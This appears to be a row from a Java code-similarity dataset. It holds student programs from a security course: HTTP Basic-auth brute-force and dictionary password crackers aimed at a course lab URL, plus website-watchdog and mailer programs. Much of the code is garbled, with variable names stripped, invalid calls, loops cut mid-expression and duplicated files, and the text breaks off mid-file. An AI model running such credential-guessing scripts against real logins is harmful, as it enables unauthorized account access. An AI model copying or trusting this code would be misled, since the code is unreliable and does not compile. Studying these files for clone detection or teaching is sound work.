out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 212.java," import java.net.*; import java.io.*; public class sendMail { public void sendMail(String mailServer, String recipient, String result) { try { Socket s = new Socket(mailServer, 25); BufferedReader in = new BufferedReader (new InputStreamReader(s.getInputStream(), ""8859_1"")); BufferedWriter out = new BufferedWriter (new OutputStreamWriter(s.getOutputStream(), ""8859_1"")); send(in, out, ""HELO client""); send(in, out, ""MAIL FROM: ""); send(in, out, ""RCPT : "" + recipient); send(in, out, ""DATA""); send(out, ""Subject: ""); send(out, ""From: Admin ""); send (out, ""\n""); send(out, result); send(out, ""\n.\n""); send(in, out, ""QUIT""); } catch (Exception e) { e.printStackTrace(); } } public void send(BufferedReader in, BufferedWriter out, String s) { try { out.write(s + ""\n""); out.flush(); System.out.println(s); s = in.readLine(); System.out.println(s); } catch (Exception e) { e.printStackTrace(); } } public void send(BufferedWriter out, String s) { try { out.write(s + ""\n""); out.flush(); System.out.println(s); } catch (Exception e) { e.printStackTrace(); } } }",101.java," import java.net.*; import java.io.*; public class SendEMail { public void SendEMail(){} public void sendMail(String recipient,String c, String subject){ try { Socket s = new Socket(""yallara.cs.rmit.edu."", 25); BufferedReader in = new BufferedReader (new InputStreamReader(s.getInputStream(), ""8859_1"")); BufferedWriter out = new BufferedWriter (new OutputStreamWriter(s.getOutputStream(), ""8859_1"")); send(in, out, ""HELO theWorld""); send(in, out, ""MAIL FROM: ""); send(in, out, ""RCPT : ""+recipient); send(in, out, ""DATA""); send(out, ""Subject: ""+ subject); send(out, ""From: WatchDog.java""); send (out, ""\n""); BufferedReader reader; String line; reader = new BufferedReader(new InputStreamReader(new FileInputStream())); line = reader.readLine(); while (line != null){ send(out, line); line = reader.readLine(); } send(out, ""\n.\n""); send(in, out, ""QUIT""); s.print(); } catch (Exception e) { e.printStackTrace(); } } public void send(BufferedReader in, BufferedWriter out, String s) { try { out.write(s + ""\n""); out.flush(); System.out.println(s); s = in.readLine(); System.out.println(s); } catch (Exception e) { e.printStackTrace(); } } public void send(BufferedWriter out, String s) { try { out.write(s + ""\n""); out.flush(); System.out.println(s); } catch (Exception e) { e.printStackTrace(); } } }" 103.java," import java.io.*; import java.net.*; import java.misc.BASE64Encoder; public class BruteForce { public BruteForce() {} public boolean fetchURL(String urlString,String username,String password) { StringWriter = new StringWriter(); PrintWriter pw = new PrintWriter(); try{ URL url=new URL(urlString); String userPwd= username+"":""+password; BASE64Encoder encoder = new BASE64Encoder(); String encodedStr = encoder.encode (userPwd.getBytes()); System.out.println(""Original String = "" + userPwd); System.out.println(""Encoded String = "" + encodedStr); HttpURLConnection huc=(HttpURLConnection) url.openConnection(); huc.setRequestProperty( ""Authorization"","" ""+encodedStr); InputStream content = (InputStream)huc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); System.out.println(""*************************************************""); System.out.println(sw.toString()); }return true; } catch (MalformedURLException e) { pw.println (""Invalid URL""); return false; } catch (IOException e) { pw.println (""Error URL""); return false; } } public void getPassword() { String alps=""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz""; String urlString=""http://sec-crack.cs.rmit.edu./SEC/2/""; String login=""""; String pwd="" ""; startTime=System.currentTimeMillis(); for(int oneChar=0;oneChar report.html""); pr = null; try{ Thread.sleep(10000); }catch(Exception e){} pr = t.exec("" Message.txt | mutt -s Chnages Webpage -a report.html -x @yallara.cs.rmit.edu.""); } }catch(java.io.IOException e){} } } ",136.java," import java.util.*; import java.io.*; import java.net.*; public class MyWatchDogTimer extends TimerTask { public void run() { Runtime rt = Runtime.getRuntime(); Process prss= null; String initialmd5,presentmd5,finalmd5,temp1; String mesg1 = new String(); String subject = new String(""Report of WatchDog""); int i; try { prss = rt.exec(""md5sum first.html""); InputStreamReader instre1 = new InputStreamReader(prss.getInputStream()); BufferedReader bufread1 = new BufferedReader(instre1); sw = bufread1.readLine(); i = finalmd5.indexOf(' '); initialmd5 = finalmd5.substring(0,i); System.out.println(""this is of first.html--->""+initialmd5); prss = rt.exec(""wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/""); prss = rt.exec(""md5sum present.html""); InputStreamReader instre2 = new InputStreamReader(prss.getInputStream()); BufferedReader bufread2 = new BufferedReader(instre2); temp1 = bufread2.readLine(); i = temp1.indexOf(' '); presentmd5 = temp1.substring(0,i); System.out.println(""this is of present.html---->""+presentmd5); if(initialmd5.equals(presentmd5)) System.out.println(""The checksum found using md5sum is same""); else { prss = rt.exec(""diff first.html present.html > diff.html""); System.out.println("" is different""); prss = null; mesg1 =""php mail.php""; prss = rt.exec(mesg1); } prss = rt.exec(""rm present.*""); }catch(java.io.IOException e){} } } " 185.java," import java.awt.*; import java.awt.event.*; import java.io.*; import java.net.*; public class Dictionary extends Frame implements ActionListener { private TextField tf = new TextField(); private TextArea ta = new TextArea(); public void actionPerformed (ActionEvent e) { String s = tf.getText(); String login=""""; try{ BufferedReader bufr = new BufferedReader (new FileReader (""words1.txt"")); String inputLine=""""; if (s.length() != 0) { inputLine = bufr.readLine(); while ((inputLine != null) && (inputLine.length() != 3)) { inputLine = bufr.readLine(); } login="":""+inputLine; ta.setText (fetchURL (s,login)); System.out.println(""runing""+login); }while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error URL"")!=0); System.out.println(""The password is: ""+inputLine); } catch(Exception ex){} } public Dictionary() { super (""URL11 Password""); add (tf, BorderLayout.LEFT); ta.setEditable(false); add (ta, BorderLayout.CENTER); tf.addActionListener (this); addWindowListener (new WindowAdapter() { public void windowClosing (WindowEvent e) { dispose(); System.exit(0); } }); } private String fetchURL (String urlString,String login) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); try { URL url = new URL (urlString); MyAuthenticator = new MyAuthenticator(); String encoding = new url.misc.BASE64Encoder().encode (login.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); } } catch (MalformedURLException e) { pw.println (""Invalid URL""); } catch (IOException e) { pw.println (""Error URL""); } return sw.toString(); } public static void main (String args[]) { Frame f = new Dictionary(); f.setSize(300, 300); f.setVisible (true); } class MyAuthenticator { String getPasswordAuthentication(Frame f, String prompt) { final Dialog jd = new Dialog (f, ""Enter password"", true); jd.setLayout (new GridLayout (0, 1)); Label jl = new Label (prompt); jd.add (jl); TextField username = new TextField(); username.setBackground (Color.lightGray); jd.add (username); TextField password = new TextField(); password.setEchoChar ('*'); password.setBackground (Color.lightGray); jd.add (password); Button jb = new Button (""OK""); jd.add (jb); jb.addActionListener (new ActionListener() { public void actionPerformed (ActionEvent e) { jd.dispose(); } }); jd.pack(); jd.setVisible(true); return username.getText() + "":"" + password.getText(); } } } class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } ",183.java," import java.awt.*; import java.awt.event.*; import java.io.*; import java.net.*; public class BruteForce extends Frame implements ActionListener { private TextField tf = new TextField(); private TextArea ta = new TextArea(); public void actionPerformed (ActionEvent e) { String s = tf.getText(); String login=""""; if (s.length() != 0) { char symbol = 'A'; login="":""; for(int i = 0; i < 3; i++) { symbol = (char)(57.0 * Math.random() + 65); if(symbol>90 && symbol<97){ i--; continue; } login=login+symbol; } ta.setText (fetchURL (s,login)); System.out.println(""runing""+login); }while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error URL"")!=0); System.out.println(""The password is: ""+login); } public BruteForce() { super (""SEC-CRACK""); add (tf, BorderLayout.LEFT); ta.setEditable(false); add (ta, BorderLayout.CENTER); tf.addActionListener (this); addWindowListener (new WindowAdapter() { public void windowClosing (WindowEvent e) { dispose(); System.exit(0); } }); } private String fetchURL (String urlString,String login) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); try { URL url = new URL (urlString); String encoding = new url.misc.BASE64Encoder().encode (login.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); } } catch (MalformedURLException e) { pw.println (""Invalid URL""); } catch (IOException e) { pw.println (""Error URL""); } return sw.toString(); } public static void main(String args[]) { Frame f = new BruteForce(); f.setSize(300, 300); f.setVisible (true); } } class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 185.java," import java.awt.*; import java.awt.event.*; import java.io.*; import java.net.*; public class Dictionary extends Frame implements ActionListener { private TextField tf = new TextField(); private TextArea ta = new TextArea(); public void actionPerformed (ActionEvent e) { String s = tf.getText(); String login=""""; try{ BufferedReader bufr = new BufferedReader (new FileReader (""words1.txt"")); String inputLine=""""; if (s.length() != 0) { inputLine = bufr.readLine(); while ((inputLine != null) && (inputLine.length() != 3)) { inputLine = bufr.readLine(); } login="":""+inputLine; ta.setText (fetchURL (s,login)); System.out.println(""runing""+login); }while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error URL"")!=0); System.out.println(""The password is: ""+inputLine); } catch(Exception ex){} } public Dictionary() { super (""URL11 Password""); add (tf, BorderLayout.LEFT); ta.setEditable(false); add (ta, BorderLayout.CENTER); tf.addActionListener (this); addWindowListener (new WindowAdapter() { public void windowClosing (WindowEvent e) { dispose(); System.exit(0); } }); } private String fetchURL (String urlString,String login) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); try { URL url = new URL (urlString); MyAuthenticator = new MyAuthenticator(); String encoding = new url.misc.BASE64Encoder().encode (login.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); } } catch (MalformedURLException e) { pw.println (""Invalid URL""); } catch (IOException e) { pw.println (""Error URL""); } return sw.toString(); } public static void main (String args[]) { Frame f = new Dictionary(); f.setSize(300, 300); f.setVisible (true); } class MyAuthenticator { String getPasswordAuthentication(Frame f, String prompt) { final Dialog jd = new Dialog (f, ""Enter password"", true); jd.setLayout (new GridLayout (0, 1)); Label jl = new Label (prompt); jd.add (jl); TextField username = new TextField(); username.setBackground (Color.lightGray); jd.add (username); TextField password = new TextField(); password.setEchoChar ('*'); password.setBackground (Color.lightGray); jd.add (password); Button jb = new Button (""OK""); jd.add (jb); jb.addActionListener (new ActionListener() { public void actionPerformed (ActionEvent e) { jd.dispose(); } }); jd.pack(); jd.setVisible(true); return username.getText() + "":"" + password.getText(); } } } class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } ",258.java," import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class Dictionary { public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); Dictionary dict = new Dictionary(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public Dictionary(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; String word = null; String usrName = """"; String usrNamePwd = null; String encoding = null; URL = new URL(urlPath); BufferedReader inputStream = new BufferedReader(new FileReader(""words"")); word = inputStream.readLine(); while(word != null) { if(word.length() <= 3){ usrNamePwd = usrName +"":""+ word; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection = (HttpURLConnection).openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println(word); if(connection.getResponseCode() == 200){ System.out.println(""Password Found "" +word); return true; } connection.disconnect(); } word = inputStream.readLine(); } System.out.println(""Password not found"" ); return false; } public class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } " 230.java," import java.io.*; import java.*; import java.net.*; import java.util.*; public class Dictionary { public static void main (String[] args) throws IOException { BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in)); d = new Date().getTime(); FileReader fr = new FileReader(""/usr/share/lib/dict/words""); BufferedReader bufr = new BufferedReader(fr); String word = bufr.readLine(); int total = 960; String[] pws = new String[total]; int count = 0; while (word!=null){ if (word.length()<=3) { pws[count] = word; count++;} word = bufr.readLine(); } int i=0; int response = 0; for (i=0;i Establishing a connection.""); Runtime runtime = Runtime.getRuntime(); Process p = runtime.exec(command); in = new BufferedReader(new InputStreamReader(p.getInputStream())); String inStr; while((inStr = in.readLine())!= null){ if(inStr.indexOf(""HTTP/1.1 200"") != -1 || inStr.indexOf(""HTTP/1.0 200"") != -1|| inStr.indexOf(""HTTP/1.1 404"") != -1 || inStr.indexOf(""HTTP/1.0 404"") != -1){ endTime = System.currentTimeMillis(); totalTimes = endTime - startTime; System.out.println(""\nDictionary Crack Passwd successful, PassWord is "" + passwd); System.out.println(""Total Times is "" + totalTimes + "" milliSec""); System.out.println(""Writing it dictpswd.txt file\n""); out = new PrintWriter(new BufferedWriter(new FileWriter(""dictpswd.txt""))); out.println(""Dictionary Crack PassWord Successful! Total Times: "" + totalTimes + "" milliSec""); out.println(""Passwd: ""+ passwd); out.flush(); bfind = true; } out.print(); } in.print(); }catch(Exception e){System.out.println(e.getMessage());} } public String getAnyKey()throws Exception{ BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in)); String key= stdin.readLine(); return key; } public static void main (String []args){ Dictionary dc = new Dictionary(); System.out.println(""\n*******************************************""); System.out.println(""* *""); System.out.println(""* Dictionary Crack Passwd Program *""); System.out.println(""* --------------------------------- *""); System.out.println(""* Author: *""); System.out.println(""* *""); System.out.println(""*******************************************""); System.out.println(""\n Dictionary Crack Passwd Information: \n""); System.out.println(""--> UserName: ""); System.out.println(""--> Passwd from the dictionary file: ""+ dc.fname); System.out.println(""--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php\n""); System.out.println(""==> Press Ctrl+C stop Crack\n""); System.out.print(""==> Press EnterKey : ""); try{ String key = dc.getAnyKey(); }catch(Exception e){System.out.println(e.getMessage());} dc.readPasswd(); } }",094.java," import java.net.*; import java.io.*; public class BruteForce{ private String passwd = """"; private String command = """"; private BufferedReader in; private PrintWriter out; private int startTime = 0; private int endTime = 0; private int totalTimes = 0; private boolean bfind = false; private String str =""abcdefghlijkmnopqrstuvwxyz'ABCDEFGHLIJKMNOPQRSTUVWXYZ0123456789.""; public BruteForce(){} public void doRequest(){ startTime = System.currentTimeMillis(); for(int i=0; i < str.length(); i++){ if(bfind) break; for(int j=0; j < str.length(); j++){ if(bfind) break; for(int k=0; k < str.length(); k++){ if(bfind) break; passwd = String.valueOf(str.charAt(i))+ String.valueOf(str.charAt(j)) +String.valueOf(str.charAt(k)); connection(passwd); } } } if(!bfind){ for(int i = 0; i < str.length(); i++){ if(bfind) break; for(int j = 0; j Establishing a connection.""); Runtime runtime = Runtime.getRuntime(); Process p = runtime.exec(command); in = new BufferedReader(new InputStreamReader(p.getInputStream())); String inStr; while((inStr = in.readLine())!= null){ if(inStr.indexOf(""HTTP/1.1 200"") != -1 || inStr.indexOf(""HTTP/1.0 200"") != -1|| inStr.indexOf(""HTTP/1.1 404"") != -1 || inStr.indexOf(""HTTP/1.0 404"") != -1){ endTime = System.currentTimeMillis(); totalTimes = endTime - startTime; System.out.println(""\nBruteForce Crack PassWord successful! PassWord is "" + passwd); System.out.println(""Total Times is "" + totalTimes + "" milliSec""); System.out.println(""Writing it brutepswd.txt file\n""); out = new PrintWriter(new BufferedWriter(new FileWriter(""brutepswd.txt""))); out.println(""BruteForce Crack PassWord Successful! Total Times: "" + totalTimes + "" milliSec""); out.println(""Passwd: ""+ passwd); out.flush(); bfind = true; } out.print(); } in.print(); }catch(Exception e){System.out.println(e.getMessage());} } public String getAnyKey()throws Exception{ BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in)); String key= stdin.readLine(); return key; } public static void main (String []args){ BruteForce bf = new BruteForce(); System.out.println(""\n*******************************************""); System.out.println(""* *""); System.out.println(""* BruteForce Crack Passwd Program *""); System.out.println(""* --------------------------------- *""); System.out.println(""* Author: *""); System.out.println(""* *""); System.out.println(""*******************************************""); System.out.println(""\n BruteForce Crack Passwd Information:\n""); System.out.println(""--> UserName: ""); System.out.println(""--> MaxPasswdLength: 3""); System.out.println(""--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php""); System.out.println(""--> Alphabet: ""+ bf.str+""\n""); System.out.println(""==> Press Ctrl+C stop Crack\n""); System.out.print(""==> Press EnterKey : ""); try{ String key = bf.getAnyKey(); }catch(Exception e){System.out.println(e.getMessage());} bf.doRequest(); } }" 112.java," import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class BruteForcePropertyHelper { private static Properties bruteForceProps; public BruteForcePropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println(""Error init'ing the burteforce Props""); e.printStackTrace(); } return bruteForceProps.getProperty(pKey); } private static void initProps() throws Exception{ if(bruteForceProps == null){ bruteForceProps = new Properties(); InputStream fis = BruteForcePropertyHelper.class.getResourceAsStream(""/bruteforce.properties""); bruteForceProps.load(fis); } } } ",107.java," import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println(""Error init'ing the watchddog Props""); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream(""/watchdog.properties""); testProps.load(fis); } } } " 112.java," import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class BruteForcePropertyHelper { private static Properties bruteForceProps; public BruteForcePropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println(""Error init'ing the burteforce Props""); e.printStackTrace(); } return bruteForceProps.getProperty(pKey); } private static void initProps() throws Exception{ if(bruteForceProps == null){ bruteForceProps = new Properties(); InputStream fis = BruteForcePropertyHelper.class.getResourceAsStream(""/bruteforce.properties""); bruteForceProps.load(fis); } } } ",108.java," import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class DictionaryPropertyHelper { private static Properties dictProps; public DictionaryPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println(""Error init'ing the dictionary Props""); e.printStackTrace(); } return dictProps.getProperty(pKey); } private static void initProps() throws Exception{ if(dictProps == null){ dictProps = new Properties(); InputStream fis = DictionaryPropertyHelper.class.getResourceAsStream(""/dictionary.properties""); dictProps.load(fis); } } } " 112.java," import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class BruteForcePropertyHelper { private static Properties bruteForceProps; public BruteForcePropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println(""Error init'ing the burteforce Props""); e.printStackTrace(); } return bruteForceProps.getProperty(pKey); } private static void initProps() throws Exception{ if(bruteForceProps == null){ bruteForceProps = new Properties(); InputStream fis = BruteForcePropertyHelper.class.getResourceAsStream(""/bruteforce.properties""); bruteForceProps.load(fis); } } } ",113.java," import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class MailsendPropertyHelper { private static Properties testProps; public MailsendPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println(""Error init'ing the watchddog Props""); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = MailsendPropertyHelper.class.getResourceAsStream(""/mailsend.properties""); testProps.load(fis); } } } " 228.java," import java.io.*; import java.*; import java.net.*; import java.util.*; public class BruteForce { public static void main (String[] args) throws IOException { BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in)); int start = new Date().getTime(); String[] letters = 